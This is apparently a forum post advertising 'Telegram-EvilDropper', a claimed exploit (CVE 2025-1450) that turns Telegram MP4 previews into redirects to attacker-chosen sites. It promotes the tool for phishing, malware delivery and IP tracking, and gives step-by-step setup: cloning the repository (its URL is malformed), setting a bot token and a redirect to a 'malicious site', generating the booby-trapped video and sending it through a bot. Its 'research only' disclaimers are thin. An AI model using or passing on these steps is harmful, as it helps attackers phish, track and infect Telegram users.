🐶 New Telegram Evil-Dropper Vulnerability | CVE 2025-1450 | Full Details and POC

[chushpan]

Telegram-EvilDropper is an exploit that uses Telegram’s MP4 preview feature to redirect the user to a site of the attacker’s choice. Instead of playing the video, the file sends the user to a malicious site.

What is Telegram-EvilDropper?

Evil-Dropper allows you to:
Phishing — redirect to fake pages to steal credentials.
Malware installation — automatically download and execute on the victim’s device.
IP and device tracking — obtain IP addresses and device data.

Since Telegram is used by millions of users worldwide, misusing this technique can have serious consequences. But ethical hackers need to understand the threat to protect data.

How to set up Telegram-EvilDropper (for research purposes only)

Open a Linux or Windows terminal and type:

git clone https://github.comkinghacker0/Telegram-EvilDropper.git
cd Telegram-EvilDropper
pip install -r requirements.txt

Set up redirection

Open tg.py in a text editor and change the following lines:

CHAT_ID = "your_chat_id"
BOT_TOKEN = "your_bot_token"
REDIRECT_URL = "https://your-malicious-site.com"

Generate a malicious file

To create an MP4 with redirection, run:

python tg.py

Sending via bot (for testing only)

Run the bot to send videos:

python bot_sender.py